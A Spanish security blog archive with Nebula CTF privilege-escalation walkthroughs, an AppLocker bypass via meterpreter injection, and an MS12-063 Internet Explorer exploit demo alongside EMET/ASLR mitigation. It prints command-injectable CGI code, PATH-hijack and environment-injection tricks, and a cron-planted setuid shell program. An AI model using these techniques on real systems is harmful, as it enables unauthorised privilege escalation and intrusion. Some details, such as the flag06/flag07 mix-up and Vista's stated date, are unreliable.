En este post vamos a elevar privilegios hasta el user flag06, el enunciado dice lo siguiente :
«The flag06 account credentials came from a legacy unix system.»
Mmmm legacy unix system… suena a ir directo a hacer lo siguiente:
– Revisar el fichero /etc/passwd
– Copiar la entrada correspondiente al user flag07
– Crackearlo con john the ripper
And that´s it ! Password = hello
Este nivel me resultó muy divertido y me recordó a tiempos de Slackware 7.2 por lo menos, veamos.
En el directorio /home/flag07/ hacia cuyo usuario queremos elevar privilegios, nos encontramos varios ficheros:
– index.cgi
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0]
print("Ping results
<pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre>
&amp;nbsp;
");
&amp;nbsp;
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
– thttpd.conf ( Fichero de configuración de un servidor web liviano )
Observando el fichero de configuración nos dice el puerto que está escuchando las peticiones de dicho servidor web ( 7007 ), de manera que sabemos que por ahí van los tiros, el script en perl que hemos visto anteriormente lo que hace es ping hacia la dirección que le especifiquemos, y nos devuelve el resultado por el navegador ( fácil ), para ello he utilizado el software links2, ya que siempre que puedo aprovecho para usar este navegador por consola.
Este screen muestra la peticion GET que se hace a la dirección donde se encuentra alojado el script, en este caso http://192.168.1.33:7007/index.cgi
Vemos como, sin meterle ningún argumento nos muestra la salida del comando ping, a secas, pero vamos a realizar la petición que está en el cuadro de diálogo, para ver como responde el script, indicandole la dirección 192.168.1.38, el resultado es el siguiente :
El script funciona como se esperaba, lo único que tenemos que hacer aquí es otro Pipe para poder ejecutar el comando que queramos bajo los privilegios del usuario flag07, que es el owner del script en cuestión y al que como decimos queremos escalar privilegios. de la siguiente manera:
Vemos como se ha ejecutado la orden correctamente y nos muestra la info relacionada a la CPU de nuestro sistema, sólo nos queda ejecutar getflag para completar este nivel !
El nivel 5 reza lo siguiente :
«Check the flag05 home directory. You are looking for weak directory permissions »
No source code
Bien, vamos a nuestro home, y hacemos un ls -shal y podemos comprobar como tenemos un fichero backup interesante, lo descomprimimos. Podemos observar que contiene las claves generadas para la autenticación por ssh, y ya nos podemos ir haciendo una idea de cual es nuestro siguiente paso.
A partir de ahora es trivial, seguramente algún administrador descuidado y vago ha querido configurar su acceso por ssh para que no pida contraseña, y se ha dejado una copia de seguridad que contiene los ficheros necesarios para realizar esa conexión pululando por el servidor,cosa más habitual de lo que les gustaría :P, next step !
Lo único que tenemos que hacer es conectarnos a nosotros mismos para que se haga efectiva la habilitación de poder loguearse como usuario flag05 y escalar privilegios.
Saludos
En este nivel se nos presenta el siguiente binario compilado cuyo source code es el siguiente :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
En este nivel lo que tenemos que hacer es averiguar qué contiene el token para pasar de nivel, pero si tiene el nombre token, fallará, por tanto ¿ Cómo hacemos entonces si no podemos cambiar el nombre del fichero al no tener privilegios? Muy fácil, haciendo lo siguiente:
Si preparamos un enlace simbólico en algún sitio donde podamos escribir ( como viene siendo tónica de estos niveles ), y enlazamos el fichero token original, con otro fichero que difiera de ese nombre y lo ejecutamos.. here we go!
Podemos usar ese token como pass para el flag04 user y escalar privilegios, muy facil este !
Saludos
En este nivel, se nos menciona lo siguiente como descripción del mismo:
«There is a crontab that is called every couple of minutes. «
Veamos… en el directorio /home/flag03/ tenemos lo siguiente:
Como podemos observar, el script writable.sh lo que hace es ejecutar en un periodo de 5 segundos ( CPU TIME ) lo que haya en /home/flag03/writable.d. Esta situación se da, como indica el propio enunciado, cuando flag03 ejecuta su tarea crontab, cada 2 minutos más o menos.
Para entender bien este nivel hay que tener claros los conceptos de bit suid y sgid:
Normalmente en los sistemas Unix || GNU\Linux actuales, los permisos de los ficheros se corresponden con un número en octal que varía entre 000 y 777 sin embargo existen unos permisos especiales que hacen variar ese número entre 0000 y 7777, dichos permisos se denominan bits de permanencia SGID (2000), y SUID (4000).
El bit de SUID o setuid se activa en los ficheros añadiendoles 4000 a la representación octal de los permisos del archivo y otorgándole además permiso de ejecución al propietario del mismo. Para ello vamos a ver varios ejemplos escritos en C para el evento.
#include <stdlib.h>
#include <stdio.h>
main () {
printf(" UID : %d, EUID : %d, GID : %d\n",getuid(),geteuid(),getgid());
}
Este código en C es lo mismo que ejecutar la orden id en nuestra terminal. Como se ha comentado anteriormente, existen muchos binarios setuidados en nuestro sistema que permiten ejecutar tareas especiales bajo los privilegios de root, como por ejemplo la orden passwd, un programa que pertenece a root y que permite modificar el fichero de user/pass del sistema no deberia poder ser ejecutado por cualquiera en cualquier circunstancia, esto es para lo que sirven el bit suid, en resumen, se ejecutan tareas bajo un uid específico distinto al usuario que ejecuta la acción, hasta que se haga un exit.
Una imagen vale más que mil palabras:
Como podemos observar, lo que se ha hecho es compilar el anterior código bajo el usuario level03, luego hemos logueado como root y hemos activado el bit suid y hemos hecho a root que sea su propietario, se puede observar la «s» en el primer tercio de la lista, en lugar de lo normal, que sería una «x» de permisos de ejecución.
A continuación, hemos vuelto al usuario level03, y hemos ejecutado suidexample con el bit suid activado por root, y el resultado es el esperado, observamos como nuestro GID ha cambiado a 0, perteneciente únicamente al superusuario, aunque sólo para esa ejecución, cuando se ha terminado se vuelve a nuestro GID normal, 1004.
Una vez sabiendo esto, volvamos a nuestro propósito, escalar privilegios.
Sabemos entonces que hay una tarea crontab que se ejecuta cada 2 minutos en el contexto de flag03 y que ejecuta todo aquello que hay en /home/flag03/writable.d/, se podria pensar en un script tal que así
#!/bin/bash echo "/bin/sh" >> /dev/shm/escalate;chmod +sx /dev/shm/escalate
Aunque este código es correcto, las distribuciones de Linux modernas no permiten el uso del bit SUID en shell scripts por motivos de seguridad, no los adhiere, y aunque no daría error, al ejecutar la shell seguiriamos con el user level03, y eso no nos vale de mucho.
Para ello hay que escribir código en C y hacer uso de las funciones setuid() y setgid(), como muestra el siguiente código:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
int main()
{
setgid(996);
setuid(996);
system("/bin/bash");
return 0;
}
El hecho de setear el UID y GID a 996 es porque es el que pertenece al user flag03 al cual queremos escalar, extraido de /etc/passwd.
Una vez hecho esto, hay que crear a su vez para completar la escalada un script en bash que compile nuestro código en C y le de los permisos necesarios:
#!/bin/bash gcc -o /home/flag03/escalaten0w-5 /tmp/escalate2.c chmod +s /home/flag03/escalaten0w-5 chmod a+rwx /home/flag03/escalaten0w-5
Este script se habrá de ubicar en /home/flag03/writable.d/ y hará que el usuario flag03 compile el source code en C por nosotros y le setee los permisos necesarios para nuestros propósitos, y ubicará el binario en /home/flag03/.
Ahora sólo queda esperar and here we go !
En este nivel tenemos un source code muy similar al anterior :
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
El programa es muy simple, realiza una llamada a /bin/echo e imprime por pantalla la información que recoge de las variables de entorno a través de «getenv», y en este caso USER, o lo que es lo mismo level02 que es nuestro usuario, por ahora.
Como vemos, si ejecutamos /bin/echo $USER is cool obtenemos el mismo resultado que al ejecutar el programa, cual es el truco aquí? Pipe !
Si seteamos nuestra variable de entorno a lo que queramos, y usamos tuberias ( | ) o ( && ) o (;) hacia otro comando, se ejecutará ( también ) en el contexto del usuario propietario del binario ( bad programming ), en este caso flag02, veamos un ejemplo:
Ilustrativo, pero lo que queremos es escalar privilegios de manera que ya sólo nos queda ejecutar una shell, o ejecutar el comando getflag para conseguir pasarnos este nivel, como a continuación:
En este nivel nos proporcionan lo siguiente:
«There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?»
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();</p>
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);</p>
system("/usr/bin/env echo and now what?");
}
Recordando C, aplicando llamadas en sistemas GNU\Linux
stdlib.h
unistd.h
string.h
sys/types.h
stdio.h
Un programa en C siempre comienza con la llamada a la funcion main(), siendo la primera funcion que se ejecuta cuando corremos un programa.
El tipo de retorno que nos da el programa será int ( 0 ) si se ha producido con éxito, cualquier otro valor de retorno de la funcion main() que no sea 0 significa algún tipo de error.
Esta funcion main() acepta 3 argumentos:
int main(int argc, char **argv, char **envp)
Posteriormente, declaramos los tipos de las variables gid_t y uid_t y las seteamos con getegid() y geteuid();, que devuelven el Group ID y el User ID del usuario que está ejecutando el proceso ( el que nos interesa, que es flag01)
Explicandolo un poco, todo proceso en los sistemas Unix tienen al menos dos UID ( User id number ), que suelen ser los mismos:
Ahora sólo nos queda setear con setresgid() y setresuid() con el siguiente formato setresuid(ruid,euid,suid) y ejecutar entonces la llamada al sistema.
Empieza el truco cuando se ejecuta la llamada al sistema /usr/bin/env, que nos devuelve la totalidad de las variables de entorno que tenemos configuradas para nuestro usuario, entonces el proceso, a través de env busca en el PATH, que es el siguiente
$ env|grep PATH
$ PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Lo siguiente que hay que conocer es que cuando agregas un directorio al PATH, se agrega y ejecuta de izquierda a derecha, de manera que si creamos un ejecutable que se llame echo ( que es lo que invoca el source code ) en un directorio en el que tengamos permiso de escritura para todos ( /dev/shm a.k.a /tmp ) y agregamos ese directorio al PATH, quedará de la siguiente manera:
$ PATH=/dev/shm:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Creamos un ejecutable, le llamamos echo, ejecuta una shell via /bin/sh lo guardamos en /dev/shm, and here we go, privilege escalation via command execution !
Exploit-exercises nos ofrece 3 imágenes para montar con VBox o VMWare, están basadas en Ubuntu y nos permiten practicar muchos aspectos de la seguridad en entornos GNU\Linux mediante el sistema Capture The Flag.
Este sistema originario de la RuxCon se basa en que ponen a disposición de los participantes unos entornos controlados en los cuales los equipos tienen que ejecutar el binario getflag de diferentes maneras que nos permiten demostrar de una manera fehaciente que hemos elevado privilegios para ir superando los niveles de dificultad en las explotaciones, el binario recoge esa información y la envia a los scoring servers, así, al equipo ( o individuo solitario ) que en menor tiempo y mayor puntuación consiga, se le considerará el ganador del evento.
De esta manera, tenemos las siguientes imágenes y caracteristicas de las mismas :
Una vez arrancada la máquina virtual, nos logueamos con l/p : level00/level00 y procedemos a leer el enunciado :
«This level requires you to find a Set User ID program that will run as the «flag00″ account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.»
Auditar regularmente los sistemas GNU\Linux en busca de ficheros con el bit SUID activado ( Set-User-Id ) es la primera de las tareas a realizar, de manera que debemos hacer un find:
$ find / -type f -perm +4000
El output nos muestra un directorio sospechoso en /bin/…/ que contiene un binario flag00 que pertenece al usuario con ese nombre, bastará con ejecutarlo para conseguir elevar privilegios, poder ejecutar getflag y conseguir pasar al nivel 1 para sacarle más chicha a esto, esto no ha hecho más que empezar!
AppLocker es una evolución de las Políticas de Restricción de Software o SRP que se ha introducido en Windows 7/2008 y que nos ayudan a restringir de una manera más eficaz la ejecución de los distintos programas que le indiquemos, ideal para tener un entorno controlado de ejecución de aplicaciones.
Las ventajas que tiene sobre el SRP común son las siguientes:
Una característica común que es interesante implementar sería el bloqueo de la intrérprete de comandos cmd.exe, si no disponemos de AppLocker, podriamos deshabilitarlo mediante GPO en primera instancia, de la siguiente manera:
De esta manera, cuando un usuario no privilegiado intenta ejecutar el intérprete de comandos, no le sería posible y Windows nos mostrará lo siguiente:
Una manera más efectiva es la utilización de AppLocker, que además tiene preferencia sobre GPO, sería crear una regla que bloqueara la ejecución de %windir%/system32/cmd.exe, quedando de la siguiente manera:
Hasta aquí todo bien, imaginemos que comprometemos una máquina de ese dominio mediante cualquier vulnerabilidad y necesitamos ejecutar comandos para realizar cualquier tarea, podriamos probar a ejecutar el comando shell que nos devuelte un intérprete de comandos, y se nos denegaría el acceso ya que actualmente se encuentra restringido su uso, como podemos ver en la siguiente imagen y en las anteriores:
Aquí es donde entran en juego los procesos suspendidos en memoria, la utilidad execute y la carga en memoria RAM de procesos que nos brinda meterpreter. Veamos, los procesos suspendidos son aquellos que no están disponibles para su ejecución inmediata, sino que pueden estar esperando o no un evento, y se mantienen bloqueados por ellos mismos o porque alguien los induce a ese estado ( como podría ser un proceso en primer o segundo plano ) y no puede proseguir su ejecución a no ser que otro proceso se lo indique, más o menos.
Lo que haremos será bajarnos el cmd.exe de la víctima, o si tenemos uno en nuestro path nos valdrá igualmente, ejecutar un binario del sistema ( buscaminas, solitario multiplayer, notepad…) como un dummy suspendido a través de execute, cargarlo en memoria RAM y subir de nuevo cmd.exe,pasarle sus funciones al «buscaminas» e inyectarlo en su proceso de manera limpia, así que en el visor de procesos aparecerá nuestro nuevo buscaminas, r0cks!
En este post vamos a desglosar algunas de las características de una de las últimas vulnerabilidades de Internet Exploter, la MS12-063, cuyo parche oficial se encuentra en el link anterior para todas las versiones afectadas, y ver cómo afecta a diferentes SO Windows, para este caso hemos utilizado Windows 7 fully Patched + Avira / AVG Internet Security con IE8 y Windows XP SP3 Fully Patched con IE7 + Avira. Además, comprobaremos cómo funciona ASLR y algunas de sus peculiaridades en estos SO.
En este caso vamos a utilizar el siguiente módulo de metasploit + meterpreter para la conexión reversa desde la víctima al host atacante. El exploit se basa en la creación de una página específicamente manipulada que al ser renderizada por el navegador víctima provoca una vulnerabilidad del tipo Use-After-Free (Dangling Pointer), provocado cuando un programa sigue utilizando un puntero de memoria que ya ha sido liberado previamente.
Los navegadores son propensos a este tipo de vulnerabilidades, así que no estamos a salvo usando Chrome o Firefox, ante este tipo de amenazas, es mejor protegerse adecuadamente.
Una vez preparado el ataque ponemos a la escucha un fakervidor web, ante el cual la víctima debería presentarse mediante Ingenieria Social y visitar en enlace, una vez hecho esto ya tendriamos acceso a la máquina víctima
Para este ataque se probó con el antivirus Avira con sus últimas actualizaciones, y aunque es capaz de identificar la amenaza, como se muestra en este screen, no evita la ejecución del exploit, y no se vuelve a quejar.
El que SÍ consigue detectar y denegar la explotación es AVG Internet Security , la versión de pago de este antivirus gratuito, con su protección SafeLink.
Esta vulnerabilidad ha tenido cierto impacto tanto en redes sociales como en medios de comunicación, y en ellos se recomendaba la instalación de una herramienta de Microsoft para mitigar este problema. Se trata de EMET ( Enhanced Mitigation Experience Toolkit ). EMET es un software diseñado para mitigar hasta 6 técnicas de explotación de software en nuestros sistemas, haciendo más dificil la ejecución de vulnerabilidades, y no sólo haciendo que determinados binarios opten a estar protegidos con DEP y ASLR sino contra técnicas que se utilizan para eludir dichas protecciones.
Su uso es muy sencillo, como se puede apreciar, hemos configurado el ejecutable iexplore.exe para que sea protegido por las técnicas que se aprecian en el screen, que se explicarán quizás más profundamente en otro post, aunque una breve utilización y explicación sobre DEP y ASLR manualmente se puede ver en la siguiente presentación de kernelsecurity :
En EMET es aconsejable configurar las siguientes aplicaciones, ya que se suelen usar conjuntamente con los navegadores y son las más susceptibles de ser atacadas y explotadas por virus,gusanos o ataques dirigidos,:
¿ Cómo podemos saber si la aplicación está siendo protegida realmente por ASLR ?
Address Space Layout Randomization no es una técnica nueva, así como DEP, fue inventado e implementado por el Projecto PaX, en Linux allá por el año 2001, añadiendo una cierta aleatoriedad al direccionamiento virtual de memoria, siendo en Octubre de ese mismo año cuando Microsoft lo aplicó a su SO ( Windows Vista ) mediante un parche. ( Culo veo… ) =)
Con el siguiente código en C, cortesía de Sergio de los Santos, de informática64, podemos verificar qué direccionamiento de memoria tienen actualmente los ejecutables:
#include <windows.h>
int main(int argc, char **argv) {
printf(«\n, ImageBase de %s:
0x%x\n»,argv[1],LoadLibraryA(argv[1]));
Se puede compilar perfectamente en Windows con MinGW:
En el siguiente screen, se puede observar el comportamiento de Internet Explorer, que no cambia, al consultar su ImageBase:
Una vez agregado en el Panel de control de EMET, deberemos de reiniciar el ordenador, y consultando después, obtenemos lo siguiente:
Se puede observar como consultando varias veces el puntero de referencia cambia su direccionamiento,imposibilitando en primera instancia la ejecución del exploit que en este post se está comentando,aunque la técnica HeapSpray nos podría ayudar en cierto modo ya que lo que intenta es llenar con la shellcode diferentes direcciones de memoria hasta dar con la que se busca, muchos exploits se aprovechan de esta técnica.
Finalmente, para los todavía usuarios de Windows XP, ASLR no se encuentra nativamente habilitado en el sistema, aunque hay una herramienta, WhenTrust del 2008, que podría ayudarnos a proteger algunos binarios con una aleatoriedad que implementa la propia herramienta, aunque he de decir que pude explotar la vulnerabilidad de este post sin problemas,y la herramienta no consiguió aleatorizar iexplorer.exe ni java.exe, tan sólo cambiaron de direccionamiento pero al seguir consultando ya no cambiaría más.